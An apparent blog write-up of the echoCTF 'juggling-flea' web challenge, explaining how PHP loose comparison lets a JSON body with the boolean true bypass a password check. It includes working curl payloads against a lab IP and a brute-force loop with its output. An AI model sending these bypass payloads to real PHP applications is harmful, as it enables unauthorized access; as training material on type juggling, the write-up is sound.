2 min read

echoCTF juggling-flea Writeup: PHP Type Juggling Authentication Bypass

echoCTF juggling-flea Writeup: PHP Type Juggling Authentication Bypass

Challenge Info

  • Platform: echoCTF
  • Category: Web Security
  • Difficulty: CTF Beginners (300 points)
  • Description: "This API changes password with every request, see if you can find a way to authenticate successfully. There is no need for brute-forcing the authentication with random passwords..."
  • Challenge link: https://echoctf.red/target/53

Walkthrough

Step 1: Initial recon I visited the site and the page dumped its PHP source code straight away:

<?php
if (empty($_POST))
{
  highlight_file(__FILE__);
  exit;
}
$randno=intval(rand()%10);
$mypassword=$randno.md5(time());
// ...
if($auth->password==$mypassword)  // loose comparison!

Key observations:

  • Password format: a random digit (0-9) + MD5(time())
  • Uses == for a loose comparison
  • Requires a POST request, and $_POST must not be empty

Step 2: Reading the challenge name "juggling-flea" hints at a PHP Type Juggling vulnerability.

Step 3: Understanding PHP Type Juggling In a PHP loose comparison, the rule for comparing a boolean against a string is:

true == "any non-empty string"  // always TRUE

Since $mypassword is always a non-empty string (digit + MD5), true == $mypassword is guaranteed to hold.

Step 4: Bypassing the $_POST check The key trick: don't set Content-Type: application/json.

  • This keeps $_POST populated (bypassing the check)
  • php://input still contains the JSON payload
  • json_decode() parses it just fine

Step 5: Grabbing the flag

curl -s http://10.0.41.14:1337/ \
  -d '{"username":"admin","password":true}'

Nailed it on the first try!

Flag: ETSCTF_REDACTED

Key Takeaways

  • The boolean bypass is the most reliable: no luck required (see the alternative approach below), 100% success rate.
  • Understand $_POST vs php://input:
    • $_POST is only populated for certain Content-Types
    • php://input always contains the raw request body
  • The danger of PHP loose comparison: always use === for safe comparisons.

Lessons Learned

While solving this one, there were actually other approaches worth mentioning:

Trying numeric Type Juggling

Once I realized that 7 == "7abc..." evaluates to TRUE, I started looping through attempts:

while true; do
  curl -X POST http://10.0.41.14:1337/ \
    -H "Content-Type: application/json" \
    -d '{"username":"admin","password":7}'
done

The problem: it kept returning the PHP source code, because adding the JSON header left $_POST empty. That's the other little twist in this challenge, and it has to be bypassed.

So it needs to become:

while true; do
  curl -X POST http://10.0.41.14:1337/ \
    -d '{"username":"admin","password":7}'
done

This lets you brute-force it directly: $_POST is no longer empty, so the code takes the php://input path, and once past that, sooner or later the loose comparison will accept a "correct" password. Sure enough, after looping I eventually landed ETSCTF_REDACTED.

└─$ while true; do
  curl -X POST http://10.0.41.14:1337/ \
    -d '{"username":"admin","password":7}'
done
{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"success":{"message":"Correct password here is your flag ETSCTF_REDACTED"}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}

Bottom line: I only figured out at the very end that simply dropping the Content-Type header solves the whole thing! And using the boolean true is far more reliable than a number: it works instantly on the first request, with no looping. This challenge also touched on some basic source-code review, which happens to be one of my weaker areas.